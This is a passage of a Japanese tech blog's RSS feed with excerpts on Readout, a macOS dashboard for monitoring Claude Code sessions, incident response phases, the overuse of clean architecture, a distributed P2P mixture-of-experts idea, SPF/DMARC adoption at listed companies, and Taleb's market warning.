+0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/readout-claude-code-%E3%81%AE%E9%96%8B%E7%99%BA%E7%92%B0%E5%A2%83%E3%82%92%E3%83%AA%E3%82%A2%E3%83%AB%E3%82%BF%E3%82%A4%E3%83%A0%E7%9B%A3%E8%A6%96%E3%81%99%E3%82%8B-macos-%E3%83%8D%E3%82%A4%E3%83%86%E3%82%A3%E3%83%96%E3%82%A2%E3%83%97%E3%83%AA%E3%81%A8%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E7%9B%A3%E8%A6%96%E3%82%AB%E3%83%86%E3%82%B4%E3%83%AA%E3%81%AE%E5%8F%B0%E9%A0%AD/</guid><description>&lt;h1 id="readout--claude-code-の開発環境をリアルタイム監視する-macos-ネイティブアプリとエージェント監視カテゴリの台頭"&gt;Readout — Claude Code の開発環境をリアルタイム監視する macOS ネイティブアプリと「エージェント監視」カテゴリの台頭&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/AI_masaou/status/2028792502304850311"&gt;まさお@AI駆動開発(@AI_masaou)氏のポスト&lt;/a&gt;が注目を集めています。168いいね、242ブックマークという反響は、Claude Code ユーザーが「セッション管理」と「コスト把握」に強い課題感を持っていることを示しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Claude Codeを日常的に使っているなら、これは知っておいたほうがいい。『Readout』— Claude Codeの開発環境をリアルタイム監視するmacOSネイティブアプリ。完全ローカル動作、アカウント不要、無料
— まさお@AI駆動開発(@AI_masaou)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;紹介されている &lt;a href="https://readout.org"&gt;Readout&lt;/a&gt; は、開発者 &lt;a href="https://x.com/benjitaylor/status/2027419120258683344"&gt;Benji Taylor(@benjitaylor)&lt;/a&gt; が「自分のために作った道具」です。2026年2月27日の公開からわずか数日で英語圏・日本語圏・中国語圏に同時に広まり、&lt;strong&gt;AIエージェント監視&lt;/strong&gt;という新しいツールカテゴリの勃興を象徴する存在になっています。&lt;/p&gt;
&lt;h2 id="readout-の概要"&gt;Readout の概要&lt;/h2&gt;
&lt;p&gt;Readout は macOS Tahoe 向けのネイティブアプリ（v0.0.6 Beta、19.8MB）です。Claude Code のセッションログをローカルで読み取り、開発環境の状態を一つのダッシュボードに集約します。&lt;/p&gt;
&lt;h3 id="主要機能"&gt;主要機能&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;機能&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;リポジトリ状態&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Git ブランチ、変更ファイル、ワークツリーの一覧&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;セッション履歴&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;過去の Claude Code セッションを一覧表示&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;APIコスト追跡&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;トークン消費量と推定コストのリアルタイム表示&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;依存関係&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;プロジェクトの依存パッケージの状態&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;設定ファイル&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CLAUDE.md、MCP 設定の一覧&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ポート使用状況&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;開発サーバーのポート占有状態&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="セッションリプレイ"&gt;セッションリプレイ&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://x.com/benjitaylor/status/2027902450049708385"&gt;Benji Taylor氏のアナウンス&lt;/a&gt;によると、セッションリプレイは Readout の最も注目される機能です。過去の Claude Code セッションをタイムラインで完全再生でき、以下の操作が可能です。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;プロンプト、ツール呼び出し、ファイル変更を時系列で表示&lt;/li&gt;
&lt;li&gt;再生速度の変更やステップ実行&lt;/li&gt;
&lt;li&gt;ファイル編集時のリアルタイムハイライト&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これは「Claude Code が何をしたか」を事後検証するためのツールであり、セキュリティ監査やコードレビューの観点からも有用です。&lt;/p&gt;
&lt;h3 id="assistant-機能"&gt;Assistant 機能&lt;/h3&gt;
&lt;p&gt;バックグラウンドで開発環境をスキャンし、その情報をベースにインタラクティブな対話が可能です。ワークツリーのクリーンアップや衛生管理の修正といったアクションも実行できます。応答はリッチなコンテンツカードで表示されます。&lt;/p&gt;
&lt;h3 id="codex-対応"&gt;Codex 対応&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://x.com/benjitaylor/status/2028177129721217524"&gt;v0.0.7&lt;/a&gt; で OpenAI Codex のセッション監視にも対応しました。Claude Code に限定されないマルチエージェント監視ツールへの進化が見えます。&lt;/p&gt;</description></item><item><title>インシデント対応入門 — 「バグ修正」で終わらせない組織レジリエンスの高め方</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%82%A4%E3%83%B3%E3%82%B7%E3%83%87%E3%83%B3%E3%83%88%E5%AF%BE%E5%BF%9C%E5%85%A5%E9%96%80-%E3%83%90%E3%82%B0%E4%BF%AE%E6%AD%A3%E3%81%A7%E7%B5%82%E3%82%8F%E3%82%89%E3%81%9B%E3%81%AA%E3%81%84%E7%B5%84%E7%B9%94%E3%83%AC%E3%82%B8%E3%83%AA%E3%82%A8%E3%83%B3%E3%82%B9%E3%81%AE%E9%AB%98%E3%82%81%E6%96%B9/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%82%A4%E3%83%B3%E3%82%B7%E3%83%87%E3%83%B3%E3%83%88%E5%AF%BE%E5%BF%9C%E5%85%A5%E9%96%80-%E3%83%90%E3%82%B0%E4%BF%AE%E6%AD%A3%E3%81%A7%E7%B5%82%E3%82%8F%E3%82%89%E3%81%9B%E3%81%AA%E3%81%84%E7%B5%84%E7%B9%94%E3%83%AC%E3%82%B8%E3%83%AA%E3%82%A8%E3%83%B3%E3%82%B9%E3%81%AE%E9%AB%98%E3%82%81%E6%96%B9/</guid><description>&lt;h1 id="インシデント対応入門--バグ修正で終わらせない組織レジリエンスの高め方"&gt;インシデント対応入門 — 「バグ修正」で終わらせない組織レジリエンスの高め方&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/macopeninsutaba/status/2028304788455063810"&gt;@MacopeninSUTABA 氏のポスト&lt;/a&gt;が、SRE Lounge Hiroshima #1 で発表されたスライド資料『&lt;a href="https://speakerdeck.com/grimoh/insidentodui-ying-ru-men"&gt;インシデント対応入門&lt;/a&gt;』を紹介しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;『インシデント対応入門』が、全エンジニア・PMに刺さる。単なる「バグ修正」で終わらせない、組織としてのレジリエンスの高め方を徹底解説している。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;著者の gr1m0h 氏は、インシデントマネジメント SaaS「Waroom」を開発する Topotal 社のソフトウェアエンジニア兼 SRE です。このスライドは閲覧数 5,600 を超え、エンジニアやPMの間で広く共有されています。本記事では、スライドの内容を軸に、インシデント対応の5つのフェーズとその実践方法を掘り下げます。&lt;/p&gt;
&lt;h2 id="なぜバグ修正では不十分なのか"&gt;なぜ「バグ修正」では不十分なのか&lt;/h2&gt;
&lt;p&gt;障害が起きたとき、コードを直して「修正完了」で終わりにしていないでしょうか。しかし、同じ種類のインシデントが繰り返し発生する組織は少なくありません。その原因は、インシデント対応を「技術的な修正」だけで完結させてしまうことにあります。&lt;/p&gt;
&lt;p&gt;gr1m0h 氏のスライドが提示するのは、インシデント対応を5つのフェーズで捉えるフレームワークです。修正は全体のプロセスの一部に過ぎず、準備・検知・振り返り・恒久対応まで含めた組織的な取り組みが必要です。&lt;/p&gt;
&lt;h2 id="5つのフェーズで捉えるインシデント対応"&gt;5つのフェーズで捉えるインシデント対応&lt;/h2&gt;
&lt;h3 id="フェーズ1-準備"&gt;フェーズ1: 準備&lt;/h3&gt;
&lt;p&gt;インシデントが発生する前の体制整備です。「準備がないと『どうする？』から始まる」という指摘は、多くの現場で実感があるのではないでしょうか。&lt;/p&gt;
&lt;p&gt;具体的に準備すべき項目は以下の通りです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;緊急度基準の策定&lt;/strong&gt;: インシデントの重大度（SEV）を定義する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;連絡ルールの文書化&lt;/strong&gt;: 誰が、誰に、どの手段で連絡するかを明文化する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;手順書の作成&lt;/strong&gt;: 初動対応の手順を事前に整備する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;監視設定&lt;/strong&gt;: アラートの閾値やエスカレーション条件を設定する&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="sev重大度レベルの定義例"&gt;SEV（重大度）レベルの定義例&lt;/h4&gt;
&lt;p&gt;スライドでは4段階の重大度レベルが紹介されています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;レベル&lt;/th&gt;
&lt;th&gt;状態&lt;/th&gt;
&lt;th&gt;対応の緊急度&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SEV1&lt;/td&gt;
&lt;td&gt;サービス全体が停止&lt;/td&gt;
&lt;td&gt;即座に全員招集&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SEV2&lt;/td&gt;
&lt;td&gt;主要機能の障害&lt;/td&gt;
&lt;td&gt;速やかに対応チーム編成&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SEV3&lt;/td&gt;
&lt;td&gt;一部機能の劣化&lt;/td&gt;
&lt;td&gt;営業時間内に対応&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SEV4&lt;/td&gt;
&lt;td&gt;軽微な問題&lt;/td&gt;
&lt;td&gt;通常優先度で対応&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;重要なのは、この基準が事前に合意されていることです。インシデント発生時に「これはSEV1なのか2なのか」を議論している時間はありません。&lt;/p&gt;
&lt;h3 id="フェーズ2-検知初動"&gt;フェーズ2: 検知・初動&lt;/h3&gt;
&lt;p&gt;「『様子見』している間にも被害は広がる」というスライドの指摘は、初動の遅れがインシデントの影響を拡大させる現実を端的に表しています。&lt;/p&gt;
&lt;p&gt;検知・初動で行うべきことは以下の4つです。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;状況確認&lt;/strong&gt;: 何が起きているかを把握する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;影響範囲の特定&lt;/strong&gt;: どのユーザー・機能に影響しているかを確認する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;緊急度の判定&lt;/strong&gt;: SEV レベルを判断する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;関係者への連絡&lt;/strong&gt;: 定められたルールに従ってエスカレーションする&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="フェーズ3-対応復旧"&gt;フェーズ3: 対応・復旧&lt;/h3&gt;
&lt;p&gt;対応フェーズで最も重要な原則は、&lt;strong&gt;指揮と作業の分離&lt;/strong&gt;です。&lt;/p&gt;</description></item><item><title>クリーンアーキテクチャという「型」の暴力 --- 過剰な抽象化が現場を壊すメカニズム</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E3%82%A2%E3%83%BC%E3%82%AD%E3%83%86%E3%82%AF%E3%83%81%E3%83%A3%E3%81%A8%E3%81%84%E3%81%86%E5%9E%8B%E3%81%AE%E6%9A%B4%E5%8A%9B---%E9%81%8E%E5%89%B0%E3%81%AA%E6%8A%BD%E8%B1%A1%E5%8C%96%E3%81%8C%E7%8F%BE%E5%A0%B4%E3%82%92%E5%A3%8A%E3%81%99%E3%83%A1%E3%82%AB%E3%83%8B%E3%82%BA%E3%83%A0/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E3%82%A2%E3%83%BC%E3%82%AD%E3%83%86%E3%82%AF%E3%83%81%E3%83%A3%E3%81%A8%E3%81%84%E3%81%86%E5%9E%8B%E3%81%AE%E6%9A%B4%E5%8A%9B---%E9%81%8E%E5%89%B0%E3%81%AA%E6%8A%BD%E8%B1%A1%E5%8C%96%E3%81%8C%E7%8F%BE%E5%A0%B4%E3%82%92%E5%A3%8A%E3%81%99%E3%83%A1%E3%82%AB%E3%83%8B%E3%82%BA%E3%83%A0/</guid><description>&lt;h1 id="クリーンアーキテクチャという型の暴力--過剰な抽象化が現場を壊すメカニズム"&gt;クリーンアーキテクチャという「型」の暴力 &amp;mdash; 過剰な抽象化が現場を壊すメカニズム&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/sside/status/2028379527555227794"&gt;@sside 氏が X で投稿&lt;/a&gt;した、クリーンアーキテクチャの過剰適用への批判が反響を呼んでいます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;クリーンアーキテクチャかぶれの糞プロジェクト、異なる会社で2度目撃しました。(どっちもNestJS)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;この投稿は、&lt;a href="https://x.com/masuda220/status/2028284327495401685"&gt;@masuda220（増田亨）氏のツイート&lt;/a&gt;への引用です。増田氏は以下のように述べています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;私の狭い観測範囲ではあるけれど、クリーンアーキテクチャを取り入れていると説明されたコードを見ると、過剰な変換コードと過剰な依存性の逆転をしているものが多い。実験目的であれば、やりすぎるのもありだと思うが、実プロダクトでは、不要な複雑さを持ち込んで苦しんでいるように見える。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;2 人の指摘は、日本のエンジニアコミュニティで繰り返し議論されてきた「クリーンアーキテクチャのカーゴカルト問題」を改めて可視化しています。本記事では、クリーンアーキテクチャとは何か、カーゴカルトとは何かを整理した上で、なぜこの問題が繰り返し起きるのかを構造的に分析します。&lt;/p&gt;
&lt;h2 id="クリーンアーキテクチャとは何か"&gt;クリーンアーキテクチャとは何か&lt;/h2&gt;
&lt;h3 id="起源と系譜"&gt;起源と系譜&lt;/h3&gt;
&lt;p&gt;クリーンアーキテクチャは、Robert C. Martin（通称 Uncle Bob）が 2012 年にブログで提唱し、2017 年に書籍『Clean Architecture: A Craftsman&amp;rsquo;s Guide to Software Structure and Design』として体系化した設計思想です。&lt;/p&gt;
&lt;p&gt;この思想は突然生まれたものではなく、先行するアーキテクチャパターンの集大成です。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;年&lt;/th&gt;
&lt;th&gt;アーキテクチャ&lt;/th&gt;
&lt;th&gt;提唱者&lt;/th&gt;
&lt;th&gt;核心&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2005&lt;/td&gt;
&lt;td&gt;ヘキサゴナルアーキテクチャ（Ports and Adapters）&lt;/td&gt;
&lt;td&gt;Alistair Cockburn&lt;/td&gt;
&lt;td&gt;アプリケーションを外部から分離する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2008&lt;/td&gt;
&lt;td&gt;オニオンアーキテクチャ&lt;/td&gt;
&lt;td&gt;Jeffrey Palermo&lt;/td&gt;
&lt;td&gt;依存関係を内側に向ける&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2012&lt;/td&gt;
&lt;td&gt;クリーンアーキテクチャ&lt;/td&gt;
&lt;td&gt;Robert C. Martin&lt;/td&gt;
&lt;td&gt;上記を統合し SOLID 原則と結びつける&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;クリーンアーキテクチャが新たに発明したものは実はほとんどありません。ヘキサゴナルアーキテクチャとオニオンアーキテクチャのルールを包含し、SOLID 原則（特に依存性逆転の原則）を軸に再構成したものです。&lt;/p&gt;
&lt;h3 id="同心円図と依存性ルール"&gt;同心円図と依存性ルール&lt;/h3&gt;
&lt;p&gt;書籍で最も有名なのが、4 層の同心円図です。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;┌─────────────────────────────────────────┐
│ Frameworks &amp;amp; Drivers（外側） │
│ ┌───────────────────────────────────┐ │
│ │ Interface Adapters │ │
│ │ ┌─────────────────────────────┐ │ │
│ │ │ Application Business Rules │ │ │
│ │ │ ┌───────────────────────┐ │ │ │
│ │ │ │ Enterprise Business │ │ │ │
│ │ │ │ Rules（中心） │ │ │ │
│ │ │ └───────────────────────┘ │ │ │
│ │ └─────────────────────────────┘ │ │
│ └───────────────────────────────────┘ │
└─────────────────────────────────────────┘
依存性ルール: すべての依存は外側から内側に向かう（→ 中心）
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;依存性ルール&lt;/strong&gt;がこのアーキテクチャの柱です。外側の層（フレームワーク、DB、UI）が内側の層（ビジネスロジック）に依存し、逆方向の依存は許されません。これにより、ビジネスロジックはフレームワークやデータベースの変更に影響されず、テスト可能で長寿命なコードになるとされています。&lt;/p&gt;</description></item><item><title>個人のファインチューニング済みモデルを P2P で相互利用する --- 分散 MoE で「みんなの AI」は成立するか</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E5%80%8B%E4%BA%BA%E3%81%AE%E3%83%95%E3%82%A1%E3%82%A4%E3%83%B3%E3%83%81%E3%83%A5%E3%83%BC%E3%83%8B%E3%83%B3%E3%82%B0%E6%B8%88%E3%81%BF%E3%83%A2%E3%83%87%E3%83%AB%E3%82%92-p2p-%E3%81%A7%E7%9B%B8%E4%BA%92%E5%88%A9%E7%94%A8%E3%81%99%E3%82%8B---%E5%88%86%E6%95%A3-moe-%E3%81%A7%E3%81%BF%E3%82%93%E3%81%AA%E3%81%AE-ai%E3%81%AF%E6%88%90%E7%AB%8B%E3%81%99%E3%82%8B%E3%81%8B/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E5%80%8B%E4%BA%BA%E3%81%AE%E3%83%95%E3%82%A1%E3%82%A4%E3%83%B3%E3%83%81%E3%83%A5%E3%83%BC%E3%83%8B%E3%83%B3%E3%82%B0%E6%B8%88%E3%81%BF%E3%83%A2%E3%83%87%E3%83%AB%E3%82%92-p2p-%E3%81%A7%E7%9B%B8%E4%BA%92%E5%88%A9%E7%94%A8%E3%81%99%E3%82%8B---%E5%88%86%E6%95%A3-moe-%E3%81%A7%E3%81%BF%E3%82%93%E3%81%AA%E3%81%AE-ai%E3%81%AF%E6%88%90%E7%AB%8B%E3%81%99%E3%82%8B%E3%81%8B/</guid><description>&lt;h1 id="個人のファインチューニング済みモデルを-p2p-で相互利用する--分散-moe-でみんなの-aiは成立するか"&gt;個人のファインチューニング済みモデルを P2P で相互利用する &amp;mdash; 分散 MoE で「みんなの AI」は成立するか&lt;/h1&gt;
&lt;p&gt;先の記事「&lt;a href="https://gist.github.com/hdknr/268ca8385f0fe7a512fed9885e964825"&gt;オープンソース AI は『無料』でも『民主化』でもない&lt;/a&gt;」で取り上げた Dario Amodei の指摘 &amp;mdash; 推論には高価な計算資源が必要であり、重みの公開だけでは真の民主化にならない &amp;mdash; に対して、興味深い反論の構想があります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Qwen 3.5 のような軽量モデルを各個人が自分のドメインでファインチューニングし、P2P ネットワークで互いのエージェントに相互利用させれば、大規模 LLM と同等の仕組みを分散的に構築できるのではないか?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;この構想を技術的に検証します。&lt;/p&gt;
&lt;h2 id="構想の全体像--分散-mixture-of-experts"&gt;構想の全体像 &amp;mdash; 分散 Mixture of Experts&lt;/h2&gt;
&lt;p&gt;この発想は、商用 LLM の内部で使われている &lt;strong&gt;Mixture of Experts（MoE）&lt;/strong&gt; アーキテクチャを、P2P ネットワーク上に展開したものと捉えることができます。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;個人A: Qwen 3.5 (法律ドメインでファインチューニング)
個人B: Qwen 3.5 (医療ドメインでファインチューニング)
個人C: Qwen 3.5 (プログラミング特化)
個人D: Qwen 3.5 (会計・税務特化)
個人E: Qwen 3.5 (マーケティング特化)
↓
P2P ルーティングレイヤー（質問の性質に応じて最適なノードを選択）
↓
エージェントが複数の専門モデルを横断的に活用
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;商用 LLM が「1 つの巨大なモデル内でエキスパートを切り替える」のに対し、この構想は「ネットワーク上の独立した専門モデルを切り替える」アプローチです。&lt;/p&gt;
&lt;h2 id="なぜ今この構想が現実味を帯びているのか"&gt;なぜ今この構想が現実味を帯びているのか&lt;/h2&gt;
&lt;p&gt;3 つの技術的な進歩が、この構想を「空想」から「検討に値する」レベルに引き上げています。&lt;/p&gt;</description></item><item><title>上場企業3,700社のSPF/DMARC設定を全調査 — 「p=none」が半数、日本のメール認証の現在地</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E4%B8%8A%E5%A0%B4%E4%BC%81%E6%A5%AD3700%E7%A4%BE%E3%81%AEspf/dmarc%E8%A8%AD%E5%AE%9A%E3%82%92%E5%85%A8%E8%AA%BF%E6%9F%BB-pnone%E3%81%8C%E5%8D%8A%E6%95%B0%E6%97%A5%E6%9C%AC%E3%81%AE%E3%83%A1%E3%83%BC%E3%83%AB%E8%AA%8D%E8%A8%BC%E3%81%AE%E7%8F%BE%E5%9C%A8%E5%9C%B0/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E4%B8%8A%E5%A0%B4%E4%BC%81%E6%A5%AD3700%E7%A4%BE%E3%81%AEspf/dmarc%E8%A8%AD%E5%AE%9A%E3%82%92%E5%85%A8%E8%AA%BF%E6%9F%BB-pnone%E3%81%8C%E5%8D%8A%E6%95%B0%E6%97%A5%E6%9C%AC%E3%81%AE%E3%83%A1%E3%83%BC%E3%83%AB%E8%AA%8D%E8%A8%BC%E3%81%AE%E7%8F%BE%E5%9C%A8%E5%9C%B0/</guid><description>&lt;h1 id="上場企業3700社のspfdmarc設定を全調査--pnoneが半数日本のメール認証の現在地"&gt;上場企業3,700社のSPF/DMARC設定を全調査 — 「p=none」が半数、日本のメール認証の現在地&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/yoppy0123/status/2028425261763736046"&gt;@yoppy0123 氏のポスト&lt;/a&gt;が、上場企業のメール認証設定を網羅的に調査した Zenn 記事を紹介しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;上場企業（約3,700社）を対象にSPF / DMARCの設定状況を調査した記事です。実際のところどうなんだろう？と気になっていたので、とても参考になりました！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;元記事は ext0mmy 氏による「&lt;a href="https://zenn.dev/ext0mmy/articles/700c30ca00b7f5"&gt;上場企業約3,700社のSPF/DMARC設定状況調査&lt;/a&gt;」です。2026年3月1日時点で、JPX（日本取引所グループ）に上場する3,745社を対象に、DNS レコードから SPF と DMARC の設定状況を調査しています。&lt;/p&gt;
&lt;p&gt;Google が Gmail の送信者ガイドラインで DMARC 対応を義務化してから2年。日本の上場企業はどこまで対応が進んだのか、調査結果を技術的な背景とともに解説します。&lt;/p&gt;
&lt;h2 id="メール認証の基礎--spfdkimdmarc-の仕組み"&gt;メール認証の基礎 — SPF・DKIM・DMARC の仕組み&lt;/h2&gt;
&lt;p&gt;調査結果を読み解くために、まずメール認証の3つの技術を整理します。&lt;/p&gt;
&lt;h3 id="spfsender-policy-framework"&gt;SPF（Sender Policy Framework）&lt;/h3&gt;
&lt;p&gt;SPF は、メールの送信元 IP アドレスを検証する技術です。ドメインの DNS レコードに「このドメインからメールを送信してよい IP アドレスの一覧」を登録しておき、受信側がそれを照合します。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;example.co.jp IN TXT &amp;#34;v=spf1 include:_spf.google.com ~all&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;末尾の修飾子が認証失敗時のポリシーを決定します。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;修飾子&lt;/th&gt;
&lt;th&gt;意味&lt;/th&gt;
&lt;th&gt;厳しさ&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+all&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;全て許可&lt;/td&gt;
&lt;td&gt;設定する意味がない&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;~all&lt;/code&gt;（softfail）&lt;/td&gt;
&lt;td&gt;認証失敗を記録するが配信は許可&lt;/td&gt;
&lt;td&gt;緩い&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-all&lt;/code&gt;（fail）&lt;/td&gt;
&lt;td&gt;認証失敗のメールを拒否&lt;/td&gt;
&lt;td&gt;厳しい&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="dkimdomainkeys-identified-mail"&gt;DKIM（DomainKeys Identified Mail）&lt;/h3&gt;
&lt;p&gt;DKIM は、メールに電子署名を付与し、送信中の改ざんを検知する技術です。送信サーバがメールヘッダとボディに署名を付け、受信サーバが DNS に公開された公開鍵で検証します。SPF が「どこから送ったか」を検証するのに対し、DKIM は「改ざんされていないか」を検証します。&lt;/p&gt;
&lt;h3 id="dmarcdomain-based-message-authentication-reporting-and-conformance"&gt;DMARC（Domain-based Message Authentication, Reporting and Conformance）&lt;/h3&gt;
&lt;p&gt;DMARC は、SPF と DKIM の認証結果を束ねて、認証失敗時の処理方針を定めるフレームワークです。&lt;/p&gt;</description></item><item><title>「ブラック・スワン」著者タレブ氏がソフトウェア業界の破綻を警告 --- AI主導相場の脆弱性とテールリスクの構造的過小評価</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%96%E3%83%A9%E3%83%83%E3%82%AF%E3%82%B9%E3%83%AF%E3%83%B3%E8%91%97%E8%80%85%E3%82%BF%E3%83%AC%E3%83%96%E6%B0%8F%E3%81%8C%E3%82%BD%E3%83%95%E3%83%88%E3%82%A6%E3%82%A7%E3%82%A2%E6%A5%AD%E7%95%8C%E3%81%AE%E7%A0%B4%E7%B6%BB%E3%82%92%E8%AD%A6%E5%91%8A---ai%E4%B8%BB%E5%B0%8E%E7%9B%B8%E5%A0%B4%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7%E3%81%A8%E3%83%86%E3%83%BC%E3%83%AB%E3%83%AA%E3%82%B9%E3%82%AF%E3%81%AE%E6%A7%8B%E9%80%A0%E7%9A%84%E9%81%8E%E5%B0%8F%E8%A9%95%E4%BE%A1/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%96%E3%83%A9%E3%83%83%E3%82%AF%E3%82%B9%E3%83%AF%E3%83%B3%E8%91%97%E8%80%85%E3%82%BF%E3%83%AC%E3%83%96%E6%B0%8F%E3%81%8C%E3%82%BD%E3%83%95%E3%83%88%E3%82%A6%E3%82%A7%E3%82%A2%E6%A5%AD%E7%95%8C%E3%81%AE%E7%A0%B4%E7%B6%BB%E3%82%92%E8%AD%A6%E5%91%8A---ai%E4%B8%BB%E5%B0%8E%E7%9B%B8%E5%A0%B4%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7%E3%81%A8%E3%83%86%E3%83%BC%E3%83%AB%E3%83%AA%E3%82%B9%E3%82%AF%E3%81%AE%E6%A7%8B%E9%80%A0%E7%9A%84%E9%81%8E%E5%B0%8F%E8%A9%95%E4%BE%A1/</guid><description>&lt;h1 id="ブラックスワン著者タレブ氏がソフトウェア業界の破綻を警告--ai-主導相場の脆弱性とテールリスクの構造的過小評価"&gt;「ブラック・スワン」著者タレブ氏がソフトウェア業界の破綻を警告 &amp;mdash; AI 主導相場の脆弱性とテールリスクの構造的過小評価&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/goroman/status/2026066866079510751"&gt;GOROman 氏（@goroman）のポスト&lt;/a&gt;で、Bloomberg の記事が紹介されていました。ベストセラー「ブラック・スワン」の著者ナシーム・ニコラス・タレブ氏が、AI 主導の株式相場がより脆弱な局面に入りつつあるとして、ソフトウェア分野での破綻と変動性の一段の高まりに備えるべきだと投資家に警鐘を鳴らした内容です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ブラック・スワン著者タレブ氏、ソフト業界の破綻と変動拡大に警鐘
